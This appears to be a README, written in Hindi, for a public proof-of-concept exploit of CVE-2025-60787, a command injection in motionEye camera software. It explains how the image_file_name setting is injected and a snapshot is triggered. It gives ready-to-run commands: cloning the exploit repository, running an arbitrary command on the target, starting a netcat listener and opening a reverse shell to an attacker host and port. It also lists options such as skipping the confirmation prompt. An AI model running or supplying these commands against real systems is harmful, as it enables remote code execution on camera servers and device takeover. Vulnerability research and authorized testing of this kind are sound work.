
CVE-2025-60787 motionEye प्रमाणीकृत कमांड इंजेक्शन RCE PoC
CVE-2025-60787 के लिए प्रमाणित कमांड इंजेक्शन PoC। motionEye v0.43.1b4 और पुराने संस्करण उपयोगकर्ता-नियंत्रित कैमरा कॉन्फ़िगरेशन मानों जैसे image_file_name को पर्याप्त सैनिटाइज़ेशन के बिना Motion कॉन्फ़िगरेशन में लिखते हैं, जिससे मान संसाधित होने पर कमांड निष्पादन संभव हो जाता है।
केवल अधिकृत परीक्षण और शोध के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/ के माध्यम से कैमरा कॉन्फ़िगरेशन पढ़ता है।image_file_name सेटिंग में एक कमांड इंजेक्ट करता है।/action/<camera_id>/snapshot/ ट्रिगर करता है ताकि motionEye इंजेक्ट की गई फ़ाइल नाम को संसाधित करे।


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
पहले एक लिसनर प्रारंभ करें:
rlwrap nc -lvnp 4444
फिर चलाएँ:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
उपयोगी विकल्प:
--camera-id N Camera ID to modify (default: 1)
--restore Restore the original camera configuration after triggering
--dry-run Build signed requests without modifying the target
--debug Print canonical signed paths, bodies and signatures
--no-trigger Update config without triggering a snapshot
--verify-tls Verify HTTPS certificates
--yes Skip reverse-shell confirmation prompt
| उत्पाद | प्रभावित संस्करण | आवश्यक पहुँच | प्रभाव |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | प्रमाणित व्यवस्थापक/API पहुँच | motionEye/Motion प्रक्रिया उपयोगकर्ता के रूप में OS कमांड निष्पादन |
परिणामी विशेषाधिकार इस बात पर निर्भर करता है कि motionEye कैसे तैनात किया गया है। ऐसे कंटेनरों या लैब इमेजों में जहाँ सेवा root के रूप में चलती है, कमांड निष्पादन root के रूप में ही हो सकता है।
image_file_name है।--restore का उपयोग करें।--cmd को प्राथमिकता दें।ozcanpng — github.com/ozcanpng — ozcanpng.dev